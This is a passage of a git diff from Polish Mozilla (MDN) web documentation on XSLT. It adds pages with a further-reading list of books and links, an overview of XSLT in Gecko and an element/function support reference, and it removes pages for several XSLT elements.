Doug Tidwell jest starszym pracownikiem firmy IBM i ogólnie czołowym kaznodzieją technologii XML. Jest on autorem kilku artykułów i przewodników na temat różnych aspektów XML-a na stronie IBM dotyczącej rozwoju języka XML. Książka ta nie jest w pewien sposób tak pełna jak autorstwa Michaela Kaya, ale dobrze wyjaśnia podstawy przedstawiając jednocześnie nieco interesujących przykładów.
-
-
-
-
-
- -

http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537

- -

 

- -
-
Learning XML, Second Edition - -
-
Autor: Erik T. Ray
-
Długość: 432 stron
-
Wydawnictwo: O'Reilly Media; 2 edycja (22 września 2003)
-
ISBN: 0596004206 -
-
Jak wskazuje sam tytuł, jest to ogólny przegląd XML-a. Rozdział 6 jest szczególnie poświęcony XSLT.
-
-
-
-
-
- -

http://www.amazon.com/gp/product/0596004206

- -

Cyfrowe

- -

Strony internetowe

- -
-
Konsorcjum World Wide Web - -
-
Strona główna W3C: http://www.w3.org/
-
Strona główna XSL: http://www.w3.org/Style/XSL/
-
Rekomendacja XSLT w wersji 1.0: http://www.w3.org/TR/xslt
-
Archiwum publicznych dyskusji na temat stylów (CSS i XSLT): http://lists.w3.org/Archives/Public/www-style/
-
Rekomendacja XPath w wersji 1.0: http://www.w3.org/TR/xpath -
-
Konsorcjum World Wide Web jest organem wydającym Rekomendacje dla wielu technologii internetowych, z których de-facto duża ilość staje się standardami.
-
-
-
-
-
- -

Artykuły

- -
-
Hands-on XSL - -
-
Autor: Don R. Day
-
Lokalizacja: http://www-106.ibm.com/developerwork...-hands-on-xsl/
-
-
-
- -
-
Understanding XSLT - -
-
Autor: Jay Greenspan
-
Lokalizacja: http://hotwired.lycos.com/webmonkey/...l?tw=authoring
-
-
-
- -
-
What is XSLT? - -
-
Autor: G. Ken Holman
-
Lokalizacja: http://www.xml.com/pub/a/2000/08/holman/index.html
-
-
-
- -

Przewodniki/Przykłady

- -
-
Zvon - -
-
XSL Programmers: http://www.zvon.org/o_html/group_xsl.html
-
-
-
- -
-
Jeni's XSLT Pages - -
-
Indeks: http://www.jenitennison.com/xslt/
-
-
-
- -
-
XMLPitstop.com - -
-
StyleSheet Center: http://www.xmlpitstop.com/Default.asp?DataType=SSC
-
-
-
- -
-
XSL Tutorial - -
-
Indeks: http://www.nwalsh.com/docs/tutorials/xsl/
-
-
-
- -

Inne

- -
-
Cover Pages - -
-
Extensible Stylesheet Language (XSL): http://www.oasis-open.org/cover/xsl.html
-
-
-
- -
-
XSL-List - -
-
Subskrypcja: http://www.mulberrytech.com/xsl/xsl-list/
-
Archiwa: http://www.biglist.com/lists/xsl-list/archives/ -
-
XSL-List jest bardzo aktywną ogólną listą mailingową, hostowaną przez Mulberry Technologies
-
-
-
-
-
- -
-
mozilla.dev.tech.xslt - -
-
Google Groups: http://groups.google.com/group/mozilla.dev.tech.xslt - -
-
Jest to grupa news, która dyskutuje na tematy specyficzne dla XSLT w Netscape.
-
-
-
-
-
- -

{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "fr": "fr/Transformations_XML_avec_XSLT/Autres_ressources" } ) }}

diff --git a/files/pl/web/xslt/transforming_xml_with_xslt/for_further_reading/index.html b/files/pl/web/xslt/transforming_xml_with_xslt/for_further_reading/index.html new file mode 100644 index 0000000000..7eff31a7f4 --- /dev/null +++ b/files/pl/web/xslt/transforming_xml_with_xslt/for_further_reading/index.html @@ -0,0 +1,205 @@ +--- +title: Przeczytaj więcej +slug: Web/XSLT/Transformacje_XML_z_XSLT/Przeczytaj_więcej +tags: + - Transformacje_XML_z_XSLT + - Wszystkie_kategorie + - XML + - XSLT +translation_of: Web/XSLT/Transforming_XML_with_XSLT/For_Further_Reading +--- +« Transformacje XML z XSLT + +

Drukowane

+ +

Książki

+ +
+
XSLT: Programmer's Reference, Second Edition + +
+
Autor: Michael H. Kay
+
Długość: 992 stron
+
Wydawca: Wrox; 2 edycja (3 maja 2001)
+
ISBN: 0764543814 +
+
Michael Kay jest członkiem grupy roboczej W3C XSL i autorem swojego własnego, open source'owego procesora XSLT o nazwie Saxon. Jest on również autorem jedynej książki na ten temat, która doczekała się drugiego wydania. Jest to obszerna, dobrze napisana książka, świetnie wyczerpująca temat (czasem może nawet samego czytelnika), opisująca w najdrobniejszych detalach każdy istotny wątek w historii o XSLT.
+
+
+
+
+
+ +

http://www.amazon.com/XSLT-Programme.../dp/0764543814

+ +

 

+ +
+
XSLT + +
+
Autor: Doug Tidwell
+
Długość: 473 stron
+
Wydawnictwo: O'Reilly Media; 1 edycja (15 sierpnia 2001)
+
ISBN: 0596000537 +
+
Doug Tidwell jest starszym pracownikiem firmy IBM i ogólnie czołowym kaznodzieją technologii XML. Jest on autorem kilku artykułów i przewodników na temat różnych aspektów XML-a na stronie IBM dotyczącej rozwoju języka XML. Książka ta nie jest w pewien sposób tak pełna jak autorstwa Michaela Kaya, ale dobrze wyjaśnia podstawy przedstawiając jednocześnie nieco interesujących przykładów.
+
+
+
+
+
+ +

http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537

+ +

 

+ +
+
Learning XML, Second Edition + +
+
Autor: Erik T. Ray
+
Długość: 432 stron
+
Wydawnictwo: O'Reilly Media; 2 edycja (22 września 2003)
+
ISBN: 0596004206 +
+
Jak wskazuje sam tytuł, jest to ogólny przegląd XML-a. Rozdział 6 jest szczególnie poświęcony XSLT.
+
+
+
+
+
+ +

http://www.amazon.com/gp/product/0596004206

+ +

Cyfrowe

+ +

Strony internetowe

+ +
+
Konsorcjum World Wide Web + +
+
Strona główna W3C: http://www.w3.org/
+
Strona główna XSL: http://www.w3.org/Style/XSL/
+
Rekomendacja XSLT w wersji 1.0: http://www.w3.org/TR/xslt
+
Archiwum publicznych dyskusji na temat stylów (CSS i XSLT): http://lists.w3.org/Archives/Public/www-style/
+
Rekomendacja XPath w wersji 1.0: http://www.w3.org/TR/xpath +
+
Konsorcjum World Wide Web jest organem wydającym Rekomendacje dla wielu technologii internetowych, z których de-facto duża ilość staje się standardami.
+
+
+
+
+
+ +

Artykuły

+ +
+
Hands-on XSL + +
+
Autor: Don R. Day
+
Lokalizacja: http://www-106.ibm.com/developerwork...-hands-on-xsl/
+
+
+
+ +
+
Understanding XSLT + +
+
Autor: Jay Greenspan
+
Lokalizacja: http://hotwired.lycos.com/webmonkey/...l?tw=authoring
+
+
+
+ +
+
What is XSLT? + +
+
Autor: G. Ken Holman
+
Lokalizacja: http://www.xml.com/pub/a/2000/08/holman/index.html
+
+
+
+ +

Przewodniki/Przykłady

+ +
+
Zvon + +
+
XSL Programmers: http://www.zvon.org/o_html/group_xsl.html
+
+
+
+ +
+
Jeni's XSLT Pages + +
+
Indeks: http://www.jenitennison.com/xslt/
+
+
+
+ +
+
XMLPitstop.com + +
+
StyleSheet Center: http://www.xmlpitstop.com/Default.asp?DataType=SSC
+
+
+
+ +
+
XSL Tutorial + +
+
Indeks: http://www.nwalsh.com/docs/tutorials/xsl/
+
+
+
+ +

Inne

+ +
+
Cover Pages + +
+
Extensible Stylesheet Language (XSL): http://www.oasis-open.org/cover/xsl.html
+
+
+
+ +
+
XSL-List + +
+
Subskrypcja: http://www.mulberrytech.com/xsl/xsl-list/
+
Archiwa: http://www.biglist.com/lists/xsl-list/archives/ +
+
XSL-List jest bardzo aktywną ogólną listą mailingową, hostowaną przez Mulberry Technologies
+
+
+
+
+
+ +
+
mozilla.dev.tech.xslt + +
+
Google Groups: http://groups.google.com/group/mozilla.dev.tech.xslt + +
+
Jest to grupa news, która dyskutuje na tematy specyficzne dla XSLT w Netscape.
+
+
+
+
+
+ +

{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "fr": "fr/Transformations_XML_avec_XSLT/Autres_ressources" } ) }}

diff --git a/files/pl/web/xslt/transforming_xml_with_xslt/index.html b/files/pl/web/xslt/transforming_xml_with_xslt/index.html new file mode 100644 index 0000000000..b02e157f61 --- /dev/null +++ b/files/pl/web/xslt/transforming_xml_with_xslt/index.html @@ -0,0 +1,147 @@ +--- +title: Transformacje XML z XSLT +slug: Web/XSLT/Transformacje_XML_z_XSLT +tags: + - Strony_wymagające_dopracowania + - Transformacje_XML_z_XSLT + - Wszystkie_kategorie + - XML + - XSLT +translation_of: Web/XSLT/Transforming_XML_with_XSLT +--- +

Ogólny przegląd

+ +

The separation of content and presentation is a key design feature of XML. The structure of an XML document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented. This intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network.

+ +

Yet eventually much of the content stored in XML documents will need to be presented to human readers. Because a browser provides a familiar and highly flexible interface, it is an ideal mechanism for delivering such presentation versions of XML content. Built from the ground up utilizing a wide variety of XML technologies, Mozilla incorporates within itself all of the mechanisms needed to process both original XML documents and the specialized stylesheets used to style and lay them out for HTML display, reducing server load with client-side processing.

+ +

At present, Gecko (the layout engine behind Mozilla and Firefox) supports two forms of XML stylesheets. For basic control of appearance - fonts, colors, position, and so forth, Gecko uses CSS, familiar from DHTML. All of CSS1 and most of CSS2 are supported. Support for the emerging CSS3 standard is under development. For further information about CSS, see Eric Meyer's CSS pages. For an overview of CSS1 and Netscape, see this Browser Central page.

+ +

Our focus here is on the second type of stylesheet that Gecko supports: the XSLT stylesheet. XSLT stands for eXtensible Stylesheet Language/Transform and the name is apt. XSLT allows a stylesheet author to transform a primary XML document in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format (and in the case of Netscape, the focus is on converting it on the fly into HTML which can then be displayed by the browser).

+ +

Dokumentacja XSLT/XPath

+ +

Elementy

+ + + +

Osie wierzchołków

+ + + +

Funkcje

+ + + +

Przeczytaj więcej

+ + + +

Index

+ +
+

Original Document Information

+ +
    +
  • Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
  • +
  • Note: This reprinted article was originally part of the DevEdge site.
  • +
+
diff --git a/files/pl/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html b/files/pl/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html new file mode 100644 index 0000000000..59da884b56 --- /dev/null +++ b/files/pl/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html @@ -0,0 +1,243 @@ +--- +title: Dokumentacja XSLT/XPath +slug: Web/XSLT/Transformacje_XML_z_XSLT/Dokumentacja_XSLT_XPath +tags: + - Dokumentacje + - Wszystkie_kategorie + - XPath + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference +--- +

+{{ XsltRef() }} +Alfabetyczna lista elementów objaśniająca, wyrażenia i funkcje stanowiące rekomendację W3C XSLT 1.0 i tak samo jak z odpowiednie sekcje rekomendacji XPath. Rozwój procesora XSLT jest w toku i ten dokument będzie aktualizowany pod względem funkcjonalności w miarę jak bedzie się on rozszerzał.

+

Elementy

+

xsl:apply-imports

+

(obsługiwany) +

+

xsl:apply-templates

+

(obsługiwany) +

+

xsl:attribute

+

(obsługiwany) +

+

xsl:attribute-set

+

(obsługiwany) +

+

xsl:call-template

+

(obsługiwany) +

+

xsl:choose

+

(obsługiwany) +

+

xsl:comment

+

(obsługiwany) +

+

xsl:copy

+

(obsługiwany) +

+

xsl:copy-of

+

(obsługiwany) +

+

xsl:decimal-format

+

(obsługiwany) +

+

xsl:element

+

(obsługiwany) +

+

xsl:fallback

+

(nie obsługiwany) +

+

xsl:for-each

+

(obsługiwany) +

+

xsl:if

+

(obsługiwany) +

+

xsl:import

+

(przeważnie obsługiwany) +

+

xsl:include

+

(obsługiwany) +

+

xsl:key

+

(obsługiwany) +

+

xsl:message

+

(obsługiwany) +

+

xsl:namespace-alias

+

(nie obsługiwany) +

+

xsl:number

+

(częściowo obsługiwany) +

+

xsl:otherwise

+

(obsługiwany) +

+

xsl:output

+

(częściowo obsługiwany) +

+

xsl:param

+

(obsługiwany) +

+

xsl:preserve-space

+

(obsługiwany) +

+

xsl:processing-instruction

+

xsl:sort

+

(obsługiwany) +

+

xsl:strip-space

+

(obsługiwany) +

+

xsl:stylesheet

+

(częściowo obsługiwany) +

+

xsl:template

+

(obsługiwany) +

+

xsl:text

+

(częściowo obsługiwany) +

+

xsl:transform

+

(obsługiwany) +

+

xsl:value-of

+

(częściowo obsługiwany) +

+

xsl:variable

+

(obsługiwany) +

+

xsl:when

+

(obsługiwany) +

+

xsl:with-param

+

(obsługiwany) +

+

Osie wierzchołków

+

ancestor

+

ancestor-or-self

+

attribute

+

child

+

descendant

+

descendant-or-self

+

following

+

following-sibling

+

namespace

+
(nie obsługiwane) +
+

parent

+

preceding

+

preceding-sibling

+

self

+

Funkcje

+

boolean()

+

(obsługiwana) +

+

ceiling()

+

(obsługiwana) +

+

concat()

+

(obsługiwana) +

+

contains()

+

(obsługiwana) +

+

count()

+

(obsługiwana) +

+

current()

+

(obsługiwana) +

+

document()

+

(obsługiwana) +

+

element-available()

+

(obsługiwana) +

+

false()

+

(obsługiwana) +

+

floor()

+

(obsługiwana) +

+

format-number()

+

(obsługiwana) +

+

function-available()

+

(obsługiwana) +

+

generate-id()

+

(obsługiwana) +

+

id()

+

(częściowo obsługiwana) +

+

key()

+

(obsługiwana) +

+

lang()

+

(obsługiwana) +

+

last()

+

(obsługiwana) +

+

local-name()

+

(obsługiwana) +

+

name()

+

(obsługiwana) +

+

namespace-uri()

+

(obsługiwana) +

+

normalize-space()

+

(obsługiwana) +

+

not()

+

(obsługiwana) +

+

number()

+

(obsługiwana) +

+

position()

+

(obsługiwana) +

+

round()

+

(obsługiwana) +

+

starts-with()

+

(obsługiwana) +

+

string()

+

(obsługiwana) +

+

string-length()

+

(obsługiwana) +

+

substring()

+

(obsługiwana) +

+

substring-after()

+

(obsługiwana) +

+

substring-before()

+

(obsługiwana) +

+

sum()

+

(obsługiwana) +

+

system-property()

+

(obsługiwana) +

+

translate()

+

(obsługiwana) +

+

true()

+

(obsługiwana) +

+

unparsed-entity-url()

+

(nie obsługiwana) +

{{ languages( { "en": "en/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "fr": "fr/Transformations_XML_avec_XSLT/La_r\u00e9f\u00e9rence_XSLT//XPath_de_Netscape", "ja": "ja/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference" } ) }} diff --git a/files/pl/web/xslt/value-of/index.html b/files/pl/web/xslt/value-of/index.html deleted file mode 100644 index 3da1744972..0000000000 --- a/files/pl/web/xslt/value-of/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: value-of -slug: Web/XSLT/value-of -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/value-of ---- -

-{{ XsltRef() }} -

Element <xsl:value-of> ocenia wyrażenie XPath, konwertuje je do ciągu znakowego, który następnie zapisuje do drzewa wynikowego. -

-

Składnia

-
<xsl:value-of select=WYRAZENIE disable-output-escaping="yes" | "no"  />

Wymagane atrybuty

-
select -
Określa wyrażenie XPath, które ma być ocenione i zwrócone do drzewa wynikowego. -
-

Opcjonalne atrybuty

-
disable-output-escaping (Netscape nie dzieli wyników przekształcenia - poniższego "wyjścia" - dlatego atrybut ten jest w zasadzie nieistotny w znaczeniu. Aby otrzymać na wyjściu encje html użyj wartości numerycznych, np. &#160 dla &nbsp) -
Określa czy znaki specjalne są pomijane przy zapisywaniu do wyjścia. Dostępne wartości to "yes" lub "no". Przykładowo, jeżeli ustawiona jest wartość "yes", <tt>></tt> jest wyświetlane jako >, a nie jako "&gt". -
-

Typ

-

Instrukcja, pojawia się wraz z szablonem. -

-

Definicja

-

XSLT, sekcja 7.6.1. -

-

Gecko

-

Obsługuje poza powyższymi przypadkami. -

{{ languages( { "en": "en/XSLT/value-of", "fr": "fr/XSLT/value-of", "ja": "ja/XSLT/value-of" } ) }} diff --git a/files/pl/web/xslt/variable/index.html b/files/pl/web/xslt/variable/index.html deleted file mode 100644 index 3a8137da82..0000000000 --- a/files/pl/web/xslt/variable/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: variable -slug: Web/XSLT/variable -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/variable ---- -

-{{ XsltRef() }} -

Element <xsl:variable> deklaruje globalną lub lokalną zmienną w arkuszu i nadaje jej wartość. Ponieważ XSLT nie pozwala na działania pośrednie (ang. side-effects), wartość zmiennej po jej ustaleniu pozostanie ta sama, dopóki zmienna nie wyjdzie poza swój zasięg. -

-

Składnia

-
<xsl:variable name=NAME select=WYRAZENIE >
-	SZABLON
-</xsl:variable> 
-

Wymagane atrybuty

-
name -
Nadaje zmiennej nazwę. -
-

Opcjonalne atrybuty

-
select -
Określa wartość zmiennej poprzez wyrażenie XPath. Jeśli element zawiera szablon, atrybut jest ignorowany. -
-

Typ

-

Element najwyższego poziomu lub instrukcja. Jeśli pojawia się jako element najwyższego poziomu, zmienna jest globalna w zasięgu i dostęp do niej może być osiągnięty poprzez cały dokument. Jeśli pojawia się wewnątrz szablonu, zmienna jest lokalna w zasięgu i jest dostępna tylko wewnątrz szablonu, w którym się pojawia. -

-

Definicja

-

XSLT, sekcja 11. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/variable", "fr": "fr/XSLT/variable" } ) }} diff --git a/files/pl/web/xslt/when/index.html b/files/pl/web/xslt/when/index.html deleted file mode 100644 index e0a132be76..0000000000 --- a/files/pl/web/xslt/when/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: when -slug: Web/XSLT/when -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/when ---- -

-{{ XsltRef() }} -

Element <xsl:when> zawsze pojawia się wewnątrz elementu <xsl:choose>, działając jak instrukcja wyboru. -

-

Składnia

-
<xsl:when test=WYRAZENIE>
-	SZABLON
-</xsl:when>

Wymagane atrybuty

-
test -
Określa wyrażenie logiczne, które ma zostać ocenione. Jeśli jest prawdziwe, zawartość elementu jest przetwarzana; jeśli fałszywe, zawartość jest ignorowana. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Podinstrukcja, pojawia się zawsze wewnątrz elementu <xsl:choose>. -

-

Definicja

-

XSLT, sekcja 9.2. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/when", "es": "es/XSLT/when", "fr": "fr/XSLT/when" } ) }} diff --git a/files/pl/web/xslt/with-param/index.html b/files/pl/web/xslt/with-param/index.html deleted file mode 100644 index 6d00d21d50..0000000000 --- a/files/pl/web/xslt/with-param/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: with-param -slug: Web/XSLT/with-param -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/with-param ---- -

-{{ XsltRef() }} -

Element <xsl:with-param> ustala wartość parametru, który ma zostać przekazany do szablonu.

-

Składnia

-
<xsl:with-param name=NAZWA select=WYRAZENIE>
-	SZABLON
-</xsl:with-param>

Wymagane atrybuty

-
name -
Nadaje nazwę parametrowi.
-

Opcjonalne atrybuty

-
select -
Definiuje wartość parametru poprzez wyrażenie XPath. Jeśli element zawiera szablon, atrybut jest ignorowany. -
-

Typ

-

Podinstrukcja, pojawia się zawsze wewnątrz elementu <xsl:apply-templates> lub <xsl:call-template>. -

-

Definicja

-

XSLT 11.6 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/with-param", "es": "es/XSLT/with-param", "fr": "fr/XSLT/with-param" } ) }} -- cgit v1.2.3-54-g00ecf